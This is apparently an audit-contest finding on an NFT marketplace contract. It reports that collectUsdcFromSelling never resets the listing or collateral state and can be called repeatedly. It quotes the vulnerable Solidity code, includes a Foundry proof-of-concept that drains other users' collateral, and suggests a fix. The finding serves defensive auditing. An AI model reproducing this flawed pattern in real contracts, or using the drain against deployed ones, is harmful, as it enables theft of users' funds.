NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Repeated calls to `collectUsdcFromSelling` drain all contract USDC

Description

  • collectUsdcFromSelling is designed to be called once by the seller after their NFT is sold, transferring price - fees + collateral to the seller and recording the fee for the owner.

  • The function never zeroes listing.price, listing.seller, or collateralForMinting[tokenId] after disbursement, and sets no "collected" flag. The only guards are onlySeller and require(!listing.isActive) — both remain permanently true after a sale, so the seller can call the function an unlimited number of times, draining the entire USDC balance of the contract. Additionally, usdc.safeTransfer(address(this), fees) is a self-transfer no-op that does nothing.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
// no "already collected" check
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId]; // never zeroed
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees); // self-transfer, no-op
@> usdc.safeTransfer(msg.sender, amountToSeller); // called unlimited times
}

Risk

Likelihood:

  • Any seller whose listing was bought can call this function again at any time, as isActive stays false and no collected flag is ever set.

  • No admin action or special condition is required — a regular whitelisted user triggers this immediately after their first legitimate collection.

Impact:

  • Complete drainage of all USDC held by the contract, including collateral of other minters and sale proceeds of other sellers.

  • Other users permanently lose their collateral and/or sale proceeds.

Proof of Concept

Paste this function inside NFTDealersTest in test/NFTDealersTest.t.sol and run:
forge test --match-test testPoC_UnlimitedDrainViaCollectUsdcFromSelling -vvvv

function testPoC_UnlimitedDrainViaCollectUsdcFromSelling() public {
address alice = makeAddr("alice");
address buyer = makeAddr("buyer");
usdc.mint(alice, 20e6);
usdc.mint(buyer, 100e6);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
// 7 victims mint — lock 7*20e6 = 140e6 of collateral in the contract
for (uint256 i = 0; i < 7; i++) {
address victim = makeAddr(string.concat("victim", vm.toString(i)));
usdc.mint(victim, 20e6);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.startPrank(victim);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
// Alice mints (tokenId = 8) and lists at 100 USDC
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // tokenId = 8
nftDealers.list(8, uint32(100e6));
vm.stopPrank();
// Buyer purchases Alice's NFT
vm.startPrank(buyer);
usdc.approve(address(nftDealers), 100e6);
nftDealers.buy(8);
vm.stopPrank();
// Contract holds: 8*20e6 (collateral) + 100e6 (buyer) = 260e6
assertEq(usdc.balanceOf(address(nftDealers)), 260e6);
// Alice collects legitimately once
// fees = 100e6 * 1% = 1e6; payout = 99e6 + 20e6 (collateral) = 119e6
vm.prank(alice);
nftDealers.collectUsdcFromSelling(8);
uint256 contractAfterFirst = usdc.balanceOf(address(nftDealers)); // 260e6 - 119e6 = 141e6
// Alice collects again — listing.price and collateralForMinting were never cleared
vm.prank(alice);
nftDealers.collectUsdcFromSelling(8); // succeeds: 141e6 > 119e6
// Alice received 238e6 total — 119e6 stolen from victims' collateral
assertEq(usdc.balanceOf(alice), 238e6);
assertEq(usdc.balanceOf(address(nftDealers)), contractAfterFirst - 119e6);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.price > 0, "Already collected");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ s_listings[_listingId].price = 0;
+ s_listings[_listingId].seller = address(0);
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(msg.sender, amountToSeller);
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!